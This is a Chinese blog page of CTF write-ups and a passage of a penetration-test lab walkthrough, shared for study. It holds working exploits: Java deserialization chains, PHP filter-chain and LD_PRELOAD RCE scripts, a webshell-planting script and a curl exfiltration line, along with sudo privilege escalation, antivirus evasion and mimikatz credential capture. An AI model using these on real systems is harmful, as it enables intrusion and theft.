分类 Training 下的文章

  • [虎符CTF 2022]ezchain


    从 docker-compose 中能判断不出网


    image-20220517134303888
    反编译后查看 handle,首先需要实现一个 hash 碰撞,然后就是一个 Hessian 反序列化的接口。
    image-20220517130137249
    hashcode 部分实际上就是实现了一个 31 进制转换,把前两位的 HF 换成 Ge 就能绕过了。
    image-20220517130454836
    然后就是不出网的 hessian 反序列化的利用,用了 java.security.SignedObject 的二次反序列化,原因前面的 hessian 反序列化已经提过了(这里使用 codeql 工具审出来的,具体操作。。。下次一定)
    poc:(第一次反序列化调用原生 readObject,第二次反序列化直接用 CC2 打就可)
    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import com.rometools.rome.feed.impl.EqualsBean;
    import com.rometools.rome.feed.impl.ObjectBean;
    import com.rometools.rome.feed.impl.ToStringBean;
    import sun.security.provider.DSAPrivateKey;
    import org.slf4j.impl.StaticLoggerBinder;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.security.*;
    import java.util.Base64;
    import java.util.HashMap;
    
    public class payload {
        public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException {
            HashMap hashMapx = getObject();
    
            // 构造SignedObject对象
            SignedObject signedObject = new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
                @Override
                protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
    
                }
    
                @Override
                protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
    
                }
    
                @Override
                protected void engineUpdate(byte b) throws SignatureException {
    
                }
    
                @Override
                protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
    
                }
    
                @Override
                protected byte[] engineSign() throws SignatureException {
                    return new byte[0];
                }
    
                @Override
                protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
                    return false;
                }
    
                @Override
                protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
    
                }
    
                @Override
                protected Object engineGetParameter(String param) throws InvalidParameterException {
                    return null;
                }
            });
    
            // 构造ToStringBean
            ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
            ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
    
            // 构造ObjectBean
            ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean1);
    
            // 构造HashMap
            HashMap hashMap = new HashMap();
            hashMap.put(objectBean,"aaaa");
    
            // 反射修改字段
            Field obj = EqualsBean.class.getDeclaredField("obj");
            Field equalsBean = ObjectBean.class.getDeclaredField("equalsBean");
    
            obj.setAccessible(true);
            equalsBean.setAccessible(true);
    
            obj.set(equalsBean.get(objectBean), toStringBean);
    
            Hessian2Output hessianOutput1 = new Hessian2Output(new FileOutputStream("./second.ser"));
            hessianOutput1.writeObject(hashMap);
            hessianOutput1.close();
        }
    
        public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
            Field field=obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj,value);
        }
    
        public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException {
            //构造TemplatesImpl对象
            byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
            byte[][] bytee= new byte[][]{bytecode};
            TemplatesImpl templates=new TemplatesImpl();
            setFieldValue(templates,"_bytecodes",bytee);
            setFieldValue(templates,"_name","Code");
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
    
            //构造ToStringBean
            ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
            ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
    
            //构造ObjectBean
            ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);
    
            //构造HashMap
            HashMap hashMap=new HashMap();
            hashMap.put(objectBean,"aaaa");
    
            //反射修改字段
            Field obj=EqualsBean.class.getDeclaredField("obj");
            Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");
    
            obj.setAccessible(true);
            equalsBean.setAccessible(true);
    
            obj.set(equalsBean.get(objectBean),toStringBean);
    
            return hashMap;
        }
    }
    

    image-20220517203605154
    可以执行命令但不出网不能弹 shell,考虑将执行命令的结果写到文件中再读文件,但操作起来比较麻烦,实战中也要考虑路径的问题。
    这里参考内存马获取回显的思路,想办法拿到存储 Request 或 Respnse 的全局变量,通常是再线程中找,可以劫持 handler 实现内存马。
    image-20220517211136215
    最终能注入的 poc:
    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import com.rometools.rome.feed.impl.EqualsBean;
    import com.rometools.rome.feed.impl.ObjectBean;
    import com.rometools.rome.feed.impl.ToStringBean;
    import sun.security.provider.DSAPrivateKey;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.security.*;
    import javassist.CannotCompileException;
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.NotFoundException;
    import java.util.HashMap;
    
    public class payload {
    
        public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException {
            HashMap hashMapx = getObject();
    
            // 构造SignedObject对象
            SignedObject signedObject = new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
                @Override
                protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
    
                }
    
                @Override
                protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
    
                }
    
                @Override
                protected void engineUpdate(byte b) throws SignatureException {
    
                }
    
                @Override
                protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
    
                }
    
                @Override
                protected byte[] engineSign() throws SignatureException {
                    return new byte[0];
                }
    
                @Override
                protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
                    return false;
                }
    
                @Override
                protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
    
                }
    
                @Override
                protected Object engineGetParameter(String param) throws InvalidParameterException {
                    return null;
                }
            });
    
            // 构造ToStringBean
            ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
            ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
    
            // 构造ObjectBean
            ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean1);
    
            // 构造HashMap
            HashMap hashMap = new HashMap();
            hashMap.put(objectBean,"aaaa");
    
            // 反射修改字段
            Field obj = EqualsBean.class.getDeclaredField("obj");
            Field equalsBean = ObjectBean.class.getDeclaredField("equalsBean");
    
            obj.setAccessible(true);
            equalsBean.setAccessible(true);
    
            obj.set(equalsBean.get(objectBean), toStringBean);
    
            Hessian2Output hessianOutput1 = new Hessian2Output(new FileOutputStream("./second.ser"));
            hessianOutput1.writeObject(hashMap);
            hessianOutput1.close();
        }
    
        public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
            Field field=obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj,value);
        }
    
        public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException, IOException, CannotCompileException, NotFoundException {
            //构造TemplatesImpl对象
            ClassPool pool = ClassPool.getDefault();
            CtClass cc = pool.get("testHandler");
            byte[] bytecode=cc.toBytecode();
            byte[][] bytee= new byte[][]{bytecode};
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_bytecodes",bytee);
            setFieldValue(templates,"_name","Code");
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
    
            //构造ToStringBean
            ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
            ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
    
            //构造ObjectBean
            ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean1);
    
            //构造HashMap
            HashMap hashMap=new HashMap();
            hashMap.put(objectBean,"aaaa");
    
            //反射修改字段
            Field obj=EqualsBean.class.getDeclaredField("obj");
            Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");
    
            obj.setAccessible(true);
            equalsBean.setAccessible(true);
    
            obj.set(equalsBean.get(objectBean),toStringBean);
    
            return hashMap;
        }
    }
    

    image-20220517222824106
  • [TCTF 2021]buggyLoader


    java 反序列化,但问题是反序列化的这个 objectInputStre
    am 是重写的,resolveClass 也被重写了,和原生的 readObject 做一下对比
    image-20220526154552555
    image-20220526154610618
    forname 加载变成了调用 URLClassLoader 的 loadClass 加载,可参考 shiro 反序列化的利用,shiro 在 readObject 前调用ClassResolvingObjectInputStream 重写了 resolveClass,也是使用了 ClassLoader.loadClass。
    它们之间的区别(简单理解)是 Class.forName 能解析数组类型,但 ClassLoader 不会解析数组类型,加载时会抛出 ClassNotFoundException。
    但这个题的 ClassLoader 和 shiro 还不太一样,在 shiro 中用的是 tomcat 的类加载机制,也就是双亲委派
    image-20220526192442769
    在反序列化的时候不能加载 WEB-INF/lib 下的数组类型,但无数组类型的 CC3 就能打(即使里面用到了 java 原生类数组 byte[] 等)。
    但这个题卡的就很死,p 神提到的用 CC5 打 TemplatesImpl 是用不了的。(执行过程中还是调用了数组类型)
    打法1:出网条件下的 JRMPClient

    打法2:RMIConnectorServer 二次反序列化

    利用自动审计工具找到了利用点 javax.management.remote.rmi.RMIConnector#findRMIServerJRMP
    image-20220526194919783
    其中传入的 base64 可控,将 base64 解码后会对其进行反序列化操作,然后随便选一条链子接着打就行了。(get 交不了要改成 post)
    package myexp.buggyloader;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    import ysoserial.payloads.*;
    import ysoserial.payloads.util.Reflections;
    import javax.management.remote.JMXServiceURL;
    import javax.management.remote.rmi.RMIConnector;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.Map;
    
    public class JMX {
        public static void main(String[] args) throws Exception {
            Object obj = getObject();
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oss = null;
            oss = new ObjectOutputStream(bos);
            oss.writeUTF("SJTU");
            oss.writeInt(1896);
            oss.writeObject(obj);
            oss.flush();
            byte[] bytes = bos.toByteArray();
            bos.close();
    
            String hex = Utils.bytesTohexString(bytes);
            System.out.println(hex);
            byte[] b2 = Utils.hexStringToBytes(hex);
            InputStream inputStream1 = new ByteArrayInputStream(b2);
            ObjectInputStream objectInputStream1 = new MyObjectInputStream(inputStream1);
            System.out.println(objectInputStream1.readUTF());
            System.out.println(objectInputStream1.readInt());
            Object obj2 = objectInputStream1.readObject();
        }
    
        private static Object getObject() throws Exception {
            Transformer transformer = InvokerTransformer.getInstance("connect");
            CommonsCollections5 commonsCollections5 = new CommonsCollections5();
            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
            objectOutputStream.writeObject(commonsCollections5.getObject("calc"));
            String expbase64 = new String(Base64.getEncoder().encode(outputStream.toByteArray()));
            String finalExp = "service:jmx:rmi:///stub/" + expbase64;
            RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL(finalExp), new HashMap<>());
    
            Map innerMap = new HashMap();
            Map lazyMap = LazyMap.decorate(innerMap, transformer);
            TiedMapEntry entry = new TiedMapEntry(lazyMap, rmiConnector);
            HashSet map = new HashSet(1);
            map.add("foo");
            Field f = null;
    
            try {
                f = HashSet.class.getDeclaredField("map");
            } catch (NoSuchFieldException var18) {
                f = HashSet.class.getDeclaredField("backingMap");
            }
    
            Reflections.setAccessible(f);
            HashMap innimpl = (HashMap) f.get(map);
            Field f2 = null;
    
            try {
                f2 =HashMap.class.getDeclaredField("table");
            } catch (NoSuchFieldException var17) {
                f2 = HashMap.class.getDeclaredField("elementData");
            }
    
            Reflections.setAccessible(f2);
            Object[] array = (Object[]) ((Object[]) f2.get(innimpl));
            Object node = array[0];
            if (node == null) {
                node = array[1];
            }
    
            Field keyField = null;
    
            try {
                keyField = node.getClass().getDeclaredField("key");
            } catch (Exception var16) {
                keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
            }
    
            Reflections.setAccessible(keyField);
            keyField.set(node, entry);
            return map;
        }
    }
    

    从 connect 开始分析
    image-20220527092013346
    然后进入 findRMIServer,其中 directoryURL 中存放着 payload
    image-20220527092322098
    之后就可以进入 findRMIServerJRMP 触发二次反序列化。
    image-20220527092435123
  • 参考文献


 

  • [LineCTF 2022]gotm


    go ssti + jwt 伪造,首先在根目录发现直接解析,传入 {{.}} 能打印环境变量并泄露对应的 key,注册特定用户生成 token 再传入,拿到 key 之后直接加密即可。
    image-20220509201832935
  • [LineCTF 2022]BB


    linux 中可以用 $'\' 以 8 进制形式执行指令,
    cat flag == $'\143\141\164' flag
    

    centos,可以用 p 神那篇 https://tttang.com/archive/1450/ 利用环境变量注入执行任意命令,用 8 进制绕过第一个过滤即可。
    import string
    import requests
    
    cmd = 'cat /flag | curl -d @- http://vps:port'
    
    o = ''
    
    for c in cmd:
        if c in string.ascii_letters:
            o += f"$'\\{oct(ord(c))[2:]}'"
        else:
            o += c
    
    r = requests.get(f'http://213f6e8f-d034-4a8a-92af-97f37cdbfc70.node4.buuoj.cn:81/?env[BASH_ENV]=`{o}`')
    print(r.text)
    

    image-20220509212538393
  • [HXPCTF 2021]includer's revenge


    著名的 nginx+LFI getshell,大致流程:
    1.Nginx 在后端 fastcgi 响应过大或请求正文 body 过大时会产生临时文件
    2.绕过 PHP 对软链接的解析
    

    首先是第一个问题:产生的临时文件会立刻被删除,但在 linux 下,如果打开一个文件,该文件会出现在 /proc/pid/fd 下,而如果一个文件没被关闭就直接删除,依然可以读到文件的内容。
    但读的话是以软连接的形式读的,而 php 会先解析软连接,再打开。这时就有了新的问题,这个被删除的软链接会在后面带有 (deleted),也就是:
    /proc/pid/fd/x (deleted)
    

    这样的话 php 就会解析失败,这里通过 https://www.anquanke.com/post/id/213235#h3-5 require_once 绕过不能包含重复文件的思路,加一层目录嵌套起来,能防止 php 对软链接进行解析。
    /proc/self/fd/34/../../../34/fd/9
    

    还有一个问题就是确定 pid,需要在一个范围内进行爆破。首先在 /proc/cmdline 中找到 nginx 的 worker process(nginx master 进程不处理请求),这里 worker process 的数量不会超过 cpu 核心数量(可以通过 /proc/cpuinfo)查看,然后就是查看 /proc/sys/kernel/pid_max 找到最大的 pid,就能确定扫描范围。
    最后的 payload:
    import requests
    
    url = "http://localhost/index.php"
    file_to_use = "/etc/passwd"
    command = "/readflag"
    
    #<?=`$_GET[0]`;;?>
    base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
    
    conversions = {
        'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
        'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
        'C': 'convert.iconv.UTF8.CSISO2022KR',
        '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
        '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
        'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
        's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
        'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
        'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
        'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
        'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
        '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
        'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
        'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
        'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
        'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
        '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
        '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
    }
    
    
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"
    
    
    for c in base64_payload[::-1]:
            filters += conversions[c] + "|"
            # decode and reencode to get rid of everything that isn't valid base64
            filters += "convert.base64-decode|"
            filters += "convert.base64-encode|"
            # get rid of equal signs
            filters += "convert.iconv.UTF8.UTF7|"
    
    filters += "convert.base64-decode"
    
    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    
    r = requests.get(url, params={
        "0": command,
        "action": "include",
        "file": final_payload
    })
    
    print(r.text)
    
  • [HXPCTF 2021]shitty blog


    先看一下能交互的地方,$_POST['content'] 被 htmlspecialchars 防死了,_POST['delete'] 没什么用,$_COOKIE['session'] 输入后,经过拆分,判断处理之后,其中的一部分在 insert_entry 中经过预编译后插入,但在 get_user 和 delete_entry 的时候从数据块中取出,直接拼接,存在二次注入。
    再看这一条链子中的判断,主要是这句:
    if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
            exit();
    }
    

    其中 crypt 会被 \x00 截断,也就是说只要 hash_hmac 是以 \x00 开头,那么 crypt 就是加密了一个空(NULL),使加密结果固定。
    if(! isset($_COOKIE['session'])){
        $id = random_int(1, PHP_INT_MAX);
        $mac = substr(crypt(hash_hmac('md5', $id, $secret, true), $salt), 20);
    }
    

    依照自动生成 session 的规则,只要能生成两个 mac 相同但 id 不同的 session ,就能说明 hash_hmac('md5', $id, $secret, true) 结果为空。在此结果之上构造 id,就可以实现注入。
    php 使用 PDO 链接 sqlite,默认支持堆叠注入,最后只需要在 data 目录下面写一个 webshell 就 ok 了。
  • [HXPCTF 2021]unzipper


    传一个压缩包上去,然后会给你解压,但这里不知道 sandbox 的指,没法直接传?,并且这里 nginx 的配置是:
    location = /index.php {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php7.4-fpm.sock;
    }
    

    指解析 index.php,其它的 php 并不解析。
    如果是普通的 zip 解压然后读可以用软连接读文件,但这里的不同之处在于对传入的文件名进行了 realpath,会去除软连接和相关目录操作,直接返回完整路径。
    但是 realpath 不能识别各种协议(PHP 伪协议),所有可以创建一个目录,目录名是 php 伪协议开头,这样就可以绕过判断。
    poc:
    #!/bin/bash
    
    rm -rf exploit.dir
    mkdir -p exploit.dir
    pushd exploit.dir
    
    TARGET='http://65.108.176.76:8200'
    EPATH='php://filter/convert.base64-encode/resource=exploit'
    
    mkdir -p $EPATH
    ln -s /flag.txt exploit
    zip -y -r exploit.zip *
    
    curl -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' $TARGET -F "file=@exploit.zip"
    curl -s -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' "$TARGET/?file=$EPATH" | base64 -d
    
    echo
    popd
    
  • [HXPCTF 2021]counter


    也挺离谱的。。。通过 system 时新创建进程,如果把文件名设置为一串 base64,那么 system 起的这个进程的 /proc/pid/cmdline 就是这一串我们可控的 base64,在 include 中通过 php 伪协议解析。
    问题还是 pid 的爆破范围,这里通过 /proc/sys/kernel/ns_last_pid 来确定,这个文件显示这个 pid 命名空间中分配的最后一个 pid。
    poc:
    #!/usr/bin/env python3
    import requests, threading, time,os, base64, re, tempfile, subprocess,secrets, hashlib, sys, random, signal
    from urllib.parse import urlparse,quote_from_bytes
    def urlencode(data, safe=''):
        return quote_from_bytes(data, safe)
    
    url = f'http://{sys.argv[1]}:{sys.argv[2]}/'
    
    backdoor_name = secrets.token_hex(8) + '.php'
    secret = secrets.token_hex(16)
    secret_hash = hashlib.sha1(secret.encode()).hexdigest()
    
    print('[+] backdoor_name: ' + backdoor_name, file=sys.stderr)
    print('[+] secret: ' + secret, file=sys.stderr)
    
    code = f"<?php if(sha1($_GET['s'])==='{secret_hash}')echo shell_exec($_GET['c']);".encode()
    payload = f"""<?php if(sha1($_GET['s'])==='{secret_hash}')file_put_contents("{backdoor_name}",$_GET['p']);/*""".encode()
    payload_encoded = b'abcdfg' + base64.b64encode(payload)
    print(payload_encoded)
    assert re.match(b'^[a-zA-Z0-9]+$', payload_encoded)
    
    # check if the payload would work on our local php setup
    with tempfile.NamedTemporaryFile() as tmp:
        tmp.write(b"sh\x00-c\x00rm\x00-f\x00--\x00'"+ payload_encoded +b"'")
        tmp.flush()
        o = subprocess.check_output(['php','-r', f'echo file_get_contents("php://filter/convert.base64-decode/resource={tmp.name}");'])
        print(o, file=sys.stderr)
        assert payload in o
    
        os.chdir('/tmp')
        subprocess.check_output(['php','-r', f'$_GET = ["p" => "test", "s" => "{secret}"]; include("php://filter/convert.base64-decode/resource={tmp.name}");'])
        with open(backdoor_name) as f:
            d = f.read()
            assert d == 'test'
    
    
    pid = -1
    N = 10
    
    done = False
    
    def worker(i):
        time.sleep(1)
        while not done:
            print(f'[+] starting include worker: {pid + i}', file=sys.stderr)
            s = f"""bombardier -c 1 -d 3m '{url}?page=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3D%2Fproc%2F{pid + i}%2Fcmdline&p={urlencode(code)}&s={secret}' > /dev/null"""
            os.system(s)
    
    def delete_worker():
        time.sleep(1)
        while not done:
            print('[+] starting delete worker', file=sys.stderr)
            s = f"""bombardier -c 8 -d 3m '{url}?page={payload_encoded.decode()}&reset=1' > /dev/null"""
            os.system(s)
    
    for i in range(N):
        threading.Thread(target=worker, args=(i, ), daemon=True).start()
    threading.Thread(target=delete_worker, daemon=True).start()
    
    
    while not done:
        try:
            r = requests.get(url, params={
                'page': '/proc/sys/kernel/ns_last_pid'
            }, timeout=10)
            print(f'[+] pid: {pid}', file=sys.stderr)
            if int(r.text) > (pid+N):
                pid = int(r.text) + 200
                print(f'[+] pid overflow: {pid}', file=sys.stderr)
                os.system('pkill -9 -x bombardier')
    
            r = requests.get(f'{url}data/{backdoor_name}', params={
                's' : secret,
                'c': f'id; ls -l /; /readflag; rm {backdoor_name}'
            }, timeout=10)
    
            if r.status_code == 200:
                print(r.text)
                done = True
                os.system('pkill -9 -x bombardier')
                exit()
    
    
            time.sleep(0.5)
        except Exception as e:
            print(e, file=sys.stderr)
    
  • [虎符CTF 2022]ezphp


    p 神的环境变量注入 getshell 只限于 centos 系统,debian 无法利用,具体原理翻原文。
    这里利用 hxp2021 中 nginx 上传文件的特性,传一个恶意的 so 文件,然后再用 LD_PRELOAD 加载
    恶意的 so 文件:
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    __attribute__ ((__constructor__)) void preload (void){
      unsetenv("LD_PRELOAD");
      system("id");
      system("cat /flag > /var/www/html/flag");
    }
    

    然后用脚本直接在 so 后面添加垃圾数据(因为 elf 文件的规范性这里不会影响解析)
    然后爆破:
    import threading, requests
    
    URL = 'http://1.14.71.254:28878/'
    
    done = False
    
    def uploader():
        print('[+] starting uploader')
        while not done:
            requests.get(URL, data=open("D:/tmp/evil_dirty.so", "br").read())
    
    for _ in range(16):
        t = threading.Thread(target=uploader)
        t.start()
    
    def bruter():
        for pid in range(4194304):
            print(f'[+] brute loop restarted: {pid}')
            for fd in range(4, 32):
                f = f'/proc/{pid}/fd/{fd}'
                r  = requests.get(URL, params={
                    'env': f"LD_PRELOAD={f}",
                })
                if 'uid' in r.text:
                    print(r.text)
                    print("[+] finished")
                    exit()
    
    a = threading.Thread(target=bruter)
    a.start()
    

    image-20220511232122666
  • 参考文献


  • 环境搭建


    见参考文献1。

  • Centos7


    web 在 81 端口,直接 admin/admin123 进后台,后台下一个可以改代码的插件。
    image-20220414214149381
    首次使用,设置密码后可以直接修改后台文件,写个?进去。
    连上后发现 disable_functions ban 了很多函数(bt 默认的),用蚁剑自带的插件绕一下,拿到 shell 之后用 msf 传个?。
    之后可以用 sudo 的 CVE-2021-3156 提权
    image-20220414222053505
    image-20220414222216786
    在 msf 中已经集成在 exploit/linux/local/sudo_baron_samedit 中
    image-20220414223020025
    下一层 ip 是 10.0.20.0/24,用 Neo-reGeorg 挂个正向代理
  • Win10


    (这里 win10 的网卡改成了 10.0.10.140),访问 8080 的 web 端口,发现禅道 cms。直接 admin / Admin123 登进后台,版本 12.4.2,有洞,可以远程下载文件到主机。工具:https://github.com/wikiZ/Zentao-RCE
    但 win10 不出网,无法访问攻击机,但 centos 中是有 python 的,可以手动在 centos 上写?并下载。
    python -c 'import pty; pty.spawn("/bin/bash")' // 开启交互模式
    python -m SimpleHTTPServer 9998
    
    base64:HTTP://10.0.20.30:9998/shell.php
    
    http://10.0.20.140:8080/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzA6OTk5OC9zaGVsbC5waHA=
    

    image-20220415162429823
    直接访问是 500,但可以用蚁剑链接,接着就可以传 msf 的?上去。
    tasklist 发现有火绒,需要做一下免杀,这里做个 uuid 免杀就行,具体操作看免杀初探那篇文章。
    (我应该不是最后一个知道添加路由后可以直接反弹跳板机的吧)
    run post/multi/manage/autoroute
    

    image-20220415204105527
    拿到的是一个 IIS 的低权限,尝试提权
    run post/multi/recon/local_exploit_suggester
    

    或者手动看缺少的补丁(想起来主机是 win10,大概没什么用了):
    systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
    

    最后还是直接 getsystem 提权了(其实用到了 CVE-2021-34481,之后补分析)
    image-20220415210859390
  • Windows Server 2016


    win10 尝试抓密码(xs 根本抓不到)
    load kiwi
    creds_all
    

    操作可参考抓密码那篇文章 http://moonflower.fun/index.php/2022/03/01/291/
    这里用 mimikatz 的 ssp 临时注入,只要不重启,就会记录密码
